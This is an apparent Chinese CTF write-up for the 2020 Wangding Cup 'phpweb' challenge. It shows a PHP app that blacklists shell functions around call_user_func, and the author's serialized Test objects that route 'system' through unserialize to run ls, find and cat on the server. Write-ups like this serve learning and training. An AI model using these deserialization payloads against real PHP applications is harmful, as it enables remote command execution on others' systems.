2020-网鼎杯-phpweb | 代码审计与PHP反序列化

朴灿烈づ我的快乐病毒、 2023-09-28 20:01 118阅读 0赞

考查点

**1、函数过滤  
2、反序列化**

--------------------

打开源码，可以看到有POST传参，抓包看看  
![在这里插入图片描述][3b775e0b24b64b0f989e15f00779032b.png_pic_center]

存在两个参数func和p，对参数func进行fuzz测试

![在这里插入图片描述][6884de6cbfbe4d1389e685ef22cc5c1a.png_pic_center]

发现有file\_get\_contents函数没有被过滤，配合第二个参数进行操作查看源码（没看源码前怎么知道参数会这样配合，蒙ing…）

func=file_get_contents&p=index.PHP

![在这里插入图片描述][87e0a1ad8c6645eeb0154c6ed0387335.png_pic_center]

index.php源码如下

<?PHP
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open"
        ,"show_source","PHPinfo","popen","dl","eval","proc_terminate","touch"
        ,"escapeshellcmd","escapeshellarg","assert","substr_replace"
        ,"call_user_func_array","call_user_func","array_filter", "array_walk"
        ,"array_map","registregister_shutdown_function","register_tick_function"
        ,"filter_var", "filter_var_array", "uasort", "uksort", "array_reduce"
        ,"array_walk","array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        
        $result = call_user_func($func, $p);  //call_user_func 把第一个参数作为回调函数调用
        $a= gettype($result);                 //返回 PHP 变量的类型
        if ($a == "string") {
        
            return $result;
        } else {
        
            return "";
        }
    }
    class Test {
        
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
        
            if ($this->func != "") {
        
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];
    if ($func != null) {
        
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
        
            echo gettime($func, $p);
        }else {
        
            dIE("Hacker...");
        }
    }
    ?>

简单的流程就是  
1、先传入参数，判断参数func是否包含disable\_fun这个数组里面的函数  
2、调用gettime方法，进而执行call\_user\_func函数，把func参数作为回调函数，p参数作为回调函数的参数，再根据PHP变量类型决定是否返回  
3、在对象销毁时执行\_\_destruct( )函数，再次执行gettime( )

构造脚本payload

<?php
    class Test {
        
        var $p = "ls";
        var $func = "system";
    }
    $a=new Test;
    print(serialize($a));
    ?>  
    //O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

反序列化，利用call\_user\_func函数进行绕过

func=unserialize&p=O:4:"Test":2:{
        s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

![在这里插入图片描述][5f9d22bf901b451ca1935ce69e22b581.png_pic_center]

func=unserialize&p=O:4:"Test":2:{
        s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

![在这里插入图片描述][f870a0232e424257a2090a5156281164.png_pic_center]

func=unserialize&p=O:4:"Test":2:{
        s:1:"p";s:20:"cat /flag_1047823620";s:4:"func";s:6:"system";}

![在这里插入图片描述][b9447cdc6aac492fa1cd30fde9d0a477.png_pic_center]

[3b775e0b24b64b0f989e15f00779032b.png_pic_center]: https://img-blog.csdnimg.cn/3b775e0b24b64b0f989e15f00779032b.png#pic_center
[6884de6cbfbe4d1389e685ef22cc5c1a.png_pic_center]: https://img-blog.csdnimg.cn/6884de6cbfbe4d1389e685ef22cc5c1a.png#pic_center
[87e0a1ad8c6645eeb0154c6ed0387335.png_pic_center]: https://img-blog.csdnimg.cn/87e0a1ad8c6645eeb0154c6ed0387335.png#pic_center
[5f9d22bf901b451ca1935ce69e22b581.png_pic_center]: https://img-blog.csdnimg.cn/5f9d22bf901b451ca1935ce69e22b581.png#pic_center
[f870a0232e424257a2090a5156281164.png_pic_center]: https://img-blog.csdnimg.cn/f870a0232e424257a2090a5156281164.png#pic_center
[b9447cdc6aac492fa1cd30fde9d0a477.png_pic_center]: https://img-blog.csdnimg.cn/b9447cdc6aac492fa1cd30fde9d0a477.png#pic_center